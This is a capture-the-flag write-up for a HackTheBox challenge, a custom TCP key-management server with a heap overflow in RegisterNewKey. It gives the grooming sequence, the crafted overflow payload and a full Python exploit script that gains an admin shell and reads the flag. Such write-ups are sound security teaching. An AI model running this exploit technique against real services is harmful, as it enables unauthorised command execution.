KHP Protocol Challenge Scenario
hackthebox
Task: a custom threaded TCP protocol server exposed key-management commands and an EXEC path guarded by admin state. Solution: groom an empty key database, trigger the RegisterNewKey heap overflow with a forged profile, authenticate the corrupted admin entry, then use a second connection to EXEC and read flag.txt.
$ ls tags/ techniques/
KHP Protocol Challenge Scenario — HackTheBox
Summary
This challenge was a custom threaded TCP service implementing its own text protocol. The important commands were REKE, DEKE, RLDB, AUTH, and EXEC.
Initial reversing suggested several possible issues, including globally shared authentication state across threads and weak profile handling. The confirmed remote solution, however, was the empty-database heap-overflow route: groom the in-memory key list, delete one entry, overflow a heap chunk in RegisterNewKey, forge an admin profile, authenticate it, then open a second connection and use EXEC to read the flag.
Reconnaissance / Reversing
The binary was a TCP server that accepted line-based protocol commands from each client. Local notes also showed a number of suspicious design choices:
REKEregistered a newuser:role keyentry.DEKEdeleted an entry by id.RLDBreloaded keys from the on-disk database.AUTHauthenticated using an in-memory profile id.EXECspawned/bin/shwhen the current role wasadmin.
An early hypothesis was that the challenge might be solvable purely through shared global state, because several variables were process-global and reused across threads. That idea was relevant, but it was not the full exploit on the real service.
The key confirmed bug was in RegisterNewKey: it allocated only 0x54 bytes for a heap object, then built the resulting profile string with sprintf using attacker-controlled fields. Because both the user:role part and the key were under our control, the formatted string could exceed the allocation and overflow into adjacent heap data.
This mattered especially when the in-memory database was groomed into a predictable layout. By creating several small entries, reloading from disk, deleting one slot, and then inserting a crafted oversized record, the overflow could corrupt neighboring state in a way that made AUTH 1 succeed as an admin profile.
Root Cause
The root cause was an unsafe heap write in RegisterNewKey.
Conceptually, the code did this:
chunk = malloc(0x54); sprintf(chunk, "%s:%s %s;", user, role, key);
That is unsafe because:
- the destination buffer is fixed at
0x54bytes, - all formatted fields are attacker-controlled,
sprintfperforms no bounds checking.
So the service let us write past the end of a heap chunk and corrupt adjacent in-memory key data or related pointers/state. In practice, the reliable remote path was to use this overflow after grooming the key array into the right shape with repeated REKE, RLDB, and DEKE operations.
The challenge also contained other weaknesses noted during local analysis:
- shared global auth/profile state across threads,
- out-of-bounds indexing in key slots,
- unchecked delete paths,
- a buggy read terminator.
Those bugs helped explain the service behavior, especially why a second connection could later benefit from the authenticated admin state, but the working exploit depended on the heap overflow and the empty-database setup.
Exploitation Steps
The successful remote exploit sequence was:
REKE chaita:admin abcdefREKE chaita:admin abcdefREKE chaita:admin abcdefRLDBDEKE 3REKE CHA:ITA+0x70bytes of\x01+chaita:admin abcdefAUTH 1- Open a second connection and send
EXEC - Run
cat flag.txt
Why this works:
- The first three
REKEcalls populate the in-memory structures with predictable entries. RLDBrefreshes state from the backing store and helps stabilize the layout used by the exploit.DEKE 3frees one slot, creating the hole used by the final oversized registration.- The last
REKEsends a crafteduser:rolefield (CHA:ITA) followed by0x70bytes of\x01, then another valid-lookingchaita:admin abcdefsequence. This overflows the0x54-byte heap allocation and corrupts adjacent state. - After the corruption,
AUTH 1succeeds and sets the service into an authenticated admin state. - A second TCP connection can then issue
EXECand obtain a shell context.
One small remote-specific detail: on the real instance, cat /flag.txt failed, but cat flag.txt succeeded. So the final read command had to use the relative path.
Exploit Script
The repository already contains the working exploit at tasks/hackthebox/KHP Protocol Challenge Scenario/solve.py.
#!/usr/bin/env python3 import argparse import socket import sys import time def recv_some(sock, timeout=0.8): sock.settimeout(timeout) chunks = [] try: while True: chunk = sock.recv(4096) if not chunk: break chunks.append(chunk) if len(chunk) < 4096: break except Exception: pass return b"".join(chunks) def send_cmd(sock, data, pause=0.35): if isinstance(data, str): data = data.encode() sock.sendall(data + b"\n") time.sleep(pause) return recv_some(sock) def main(): parser = argparse.ArgumentParser( description="Exploit KHP Protocol empty-DB heap overflow" ) parser.add_argument("host") parser.add_argument("port", type=int) parser.add_argument( "--cmd", default="cat flag.txt", help="Command to run after EXEC" ) args = parser.parse_args() s1 = socket.create_connection((args.host, args.port)) for cmd in [ "REKE chaita:admin abcdef", "REKE chaita:admin abcdef", "REKE chaita:admin abcdef", "RLDB", "DEKE 3", ]: send_cmd(s1, cmd) overflow = b"REKE CHA:ITA " + (b"\x01" * 0x70) + b"chaita:admin abcdef" send_cmd(s1, overflow, pause=0.5) auth = send_cmd(s1, "AUTH 1", pause=0.6) if b"Authenticated" not in auth: sys.stderr.write(auth.decode("latin1", errors="replace")) sys.exit(1) s2 = socket.create_connection((args.host, args.port)) shell = send_cmd(s2, "EXEC", pause=0.6) if b"You can run commands now." not in shell: sys.stderr.write(shell.decode("latin1", errors="replace")) sys.exit(1) out = send_cmd(s2, args.cmd, pause=0.8) sys.stdout.write(out.decode("latin1", errors="replace")) s1.close() s2.close() if __name__ == "__main__": main()
$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar
Similar writeups
- [pwn][free]Forks and Knives— hackthebox
- [pwn][free]0xDiablos— hackthebox
- [infra][Pro]Kobold— hackthebox
- [pwn][free]priority-queue— b01lersc
- [reverse][free]shakespeares-revenge— b01lersc